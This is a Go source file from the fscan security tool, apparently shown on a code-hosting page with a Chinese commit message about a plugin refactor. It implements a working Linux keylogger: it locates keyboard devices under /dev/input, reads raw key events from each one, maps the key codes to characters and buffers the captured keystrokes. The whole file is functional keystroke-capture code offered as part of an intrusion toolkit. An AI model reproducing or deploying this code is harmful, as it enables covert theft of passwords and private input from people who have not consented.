fscan/plugins/local_backup/keylogger/keylogger_linux.go
ZacharyZcR 678d750c8a refactor: 重构插件架构,实现单文件插件系统
将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构,
大幅减少代码重复和维护成本,提升插件开发效率。

主要改进:
• 将每个服务插件从3个文件简化为1个文件
• 删除过度设计的工厂模式、适配器模式等抽象层
• 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构
• 实现直接的插件注册机制,提升系统简洁性
• 保持完全向后兼容,所有扫描功能和输出格式不变

重构统计:
• 删除文件:100+个复杂架构文件
• 新增文件:20个简化的单文件插件
• 代码减少:每个插件减少60-80%代码量
• 功能增强:所有插件包含完整扫描和利用功能

已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle,
Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP,
Rsync, SMTP, SNMP, Telnet, VNC

验证通过: 新系统编译运行正常,所有插件功能验证通过
2025-08-25 23:57:00 +08:00

282 lines
6.8 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// +build linux
package keylogger
import (
"bufio"
"context"
"encoding/binary"
"fmt"
"io/fs"
"os"
"path/filepath"
"strings"
"github.com/shadow1ng/fscan/common"
)
// Linux输入事件结构
type InputEvent struct {
Time [2]int64 // struct timeval
Type uint16
Code uint16
Value int32
}
const (
EV_KEY = 1
KEY_PRESS = 1
KEY_RELEASE = 0
)
// checkLinuxRequirements 检查Linux特定要求
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
common.LogInfo("检查Linux键盘记录权限...")
// 检查/dev/input目录访问权限
if _, err := os.Stat("/dev/input"); os.IsNotExist(err) {
return fmt.Errorf("/dev/input目录不存在可能不是标准Linux系统")
}
// 检查是否有输入设备
inputDevices, err := p.findKeyboardDevices()
if err != nil {
return fmt.Errorf("查找键盘设备失败: %v", err)
}
if len(inputDevices) == 0 {
common.LogInfo("警告: 未找到键盘设备,将尝试监听所有输入设备")
} else {
common.LogInfo(fmt.Sprintf("找到 %d 个键盘设备", len(inputDevices)))
}
return nil
}
// startLinuxKeylogging 启动Linux键盘记录
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
common.LogInfo("启动Linux键盘记录...")
// 查找键盘设备
devices, err := p.findKeyboardDevices()
if err != nil {
return fmt.Errorf("查找键盘设备失败: %v", err)
}
if len(devices) == 0 {
// 如果找不到明确的键盘设备,尝试监听所有事件设备
devices, err = p.findAllInputDevices()
if err != nil {
return fmt.Errorf("查找输入设备失败: %v", err)
}
}
if len(devices) == 0 {
return fmt.Errorf("未找到任何输入设备")
}
common.LogInfo(fmt.Sprintf("开始监听 %d 个设备", len(devices)))
// 启动设备监听goroutine
for _, device := range devices {
go p.monitorDevice(ctx, device)
}
// 等待上下文取消
<-ctx.Done()
return nil
}
// findKeyboardDevices 查找键盘设备
func (p *KeyloggerPlugin) findKeyboardDevices() ([]string, error) {
var keyboards []string
// 检查/proc/bus/input/devices文件
devicesFile := "/proc/bus/input/devices"
file, err := os.Open(devicesFile)
if err != nil {
common.LogInfo("无法打开/proc/bus/input/devices尝试扫描/dev/input")
return p.findAllInputDevices()
}
defer file.Close()
scanner := bufio.NewScanner(file)
var currentDevice string
var isKeyboard bool
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if strings.HasPrefix(line, "I:") {
// 新设备开始
isKeyboard = false
currentDevice = ""
} else if strings.HasPrefix(line, "N:") {
// 设备名称
if strings.Contains(strings.ToLower(line), "keyboard") ||
strings.Contains(strings.ToLower(line), "kbd") {
isKeyboard = true
}
} else if strings.HasPrefix(line, "H:") && isKeyboard {
// 设备处理器
parts := strings.Fields(line)
for _, part := range parts {
if strings.HasPrefix(part, "event") {
eventNum := strings.TrimPrefix(part, "event")
devicePath := fmt.Sprintf("/dev/input/event%s", eventNum)
keyboards = append(keyboards, devicePath)
break
}
}
}
}
return keyboards, nil
}
// findAllInputDevices 查找所有输入设备
func (p *KeyloggerPlugin) findAllInputDevices() ([]string, error) {
var devices []string
err := filepath.WalkDir("/dev/input", func(path string, d fs.DirEntry, err error) error {
if err != nil {
return nil // 跳过错误
}
if strings.HasPrefix(d.Name(), "event") {
devices = append(devices, path)
}
return nil
})
if err != nil {
return nil, err
}
return devices, nil
}
// monitorDevice 监听设备
func (p *KeyloggerPlugin) monitorDevice(ctx context.Context, devicePath string) {
common.LogInfo(fmt.Sprintf("开始监听设备: %s", devicePath))
file, err := os.Open(devicePath)
if err != nil {
common.LogError(fmt.Sprintf("无法打开设备 %s: %v", devicePath, err))
return
}
defer file.Close()
for {
select {
case <-ctx.Done():
return
default:
var event InputEvent
err := binary.Read(file, binary.LittleEndian, &event)
if err != nil {
common.LogError(fmt.Sprintf("读取设备 %s 事件失败: %v", devicePath, err))
return
}
// 处理键盘事件
if event.Type == EV_KEY && event.Value == KEY_PRESS {
keyChar := p.getLinuxKeyChar(event.Code)
if keyChar != "" {
p.addKeyToBuffer(keyChar)
}
}
}
}
}
// getLinuxKeyChar 获取Linux按键字符
func (p *KeyloggerPlugin) getLinuxKeyChar(keyCode uint16) string {
// Linux内核输入子系统键码映射
keyMap := map[uint16]string{
1: "[Esc]",
2: "1", 3: "2", 4: "3", 5: "4", 6: "5", 7: "6", 8: "7", 9: "8", 10: "9", 11: "0",
12: "-", 13: "=",
14: "[Backspace]",
15: "[Tab]",
16: "q", 17: "w", 18: "e", 19: "r", 20: "t", 21: "y", 22: "u", 23: "i", 24: "o", 25: "p",
26: "[", 27: "]",
28: "[Enter]",
29: "[LCtrl]",
30: "a", 31: "s", 32: "d", 33: "f", 34: "g", 35: "h", 36: "j", 37: "k", 38: "l",
39: ";", 40: "'",
41: "`",
42: "[LShift]",
43: "\\",
44: "z", 45: "x", 46: "c", 47: "v", 48: "b", 49: "n", 50: "m",
51: ",", 52: ".", 53: "/",
54: "[RShift]",
55: "*",
56: "[LAlt]",
57: " ", // 空格
58: "[CapsLock]",
59: "[F1]", 60: "[F2]", 61: "[F3]", 62: "[F4]", 63: "[F5]", 64: "[F6]",
65: "[F7]", 66: "[F8]", 67: "[F9]", 68: "[F10]",
69: "[NumLock]",
70: "[ScrollLock]",
71: "[Home]",
72: "[Up]",
73: "[PgUp]",
74: "-",
75: "[Left]",
76: "[Center]",
77: "[Right]",
78: "+",
79: "[End]",
80: "[Down]",
81: "[PgDn]",
82: "[Insert]",
83: "[Delete]",
87: "[F11]", 88: "[F12]",
96: "[REnter]",
97: "[RCtrl]",
98: "/",
99: "[PrtSc]",
100: "[RAlt]",
102: "[Home]",
103: "[Up]",
104: "[PgUp]",
105: "[Left]",
106: "[Right]",
107: "[End]",
108: "[Down]",
109: "[PgDn]",
110: "[Insert]",
111: "[Delete]",
125: "[LWin]",
126: "[RWin]",
127: "[Menu]",
}
if keyName, exists := keyMap[keyCode]; exists {
return keyName
}
return fmt.Sprintf("[KEY_%d]", keyCode)
}
// checkWindowsRequirements 检查Windows特定要求Linux平台的空实现
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
return fmt.Errorf("不支持的平台")
}
// checkDarwinRequirements 检查Darwin特定要求Linux平台的空实现
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
return fmt.Errorf("不支持的平台")
}
// startWindowsKeylogging 启动Windows键盘记录Linux平台的空实现
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}
// startDarwinKeylogging 启动Darwin键盘记录Linux平台的空实现
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}